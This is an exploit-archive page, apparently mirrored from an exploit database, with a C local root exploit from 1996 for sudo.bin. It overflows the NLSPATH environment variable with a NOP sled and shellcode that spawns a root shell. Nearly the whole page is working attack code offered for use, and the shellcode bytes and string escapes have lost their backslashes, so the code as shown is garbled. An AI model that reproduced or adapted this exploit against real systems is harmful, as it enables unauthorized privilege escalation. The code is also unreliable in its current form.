[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : sudo.bin NLSPATH Local Root Exploit
# Published : 1996-02-13
# Author : _Phantom_
# Previous Title : suid_perl 5.001 vulnerability
# Next Title : Resolv+ (RESOLV_HOST_CONF) Linux Library Local Exploit


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_SUDO "/usr/bin/sudo.bin"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f"
   "xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd"
   "x80x33xc0x40xcdx80xe8xd7xffxffxff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memoryn");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   printf("SUDO.BIN exploit coded by _PHANTOM_ 1997n");
   setenv("NLSPATH",buff,1);
   execl(PATH_SUDO, "sudo.bin","bash", NULL);
}



// www.Syue.com [1996-02-13]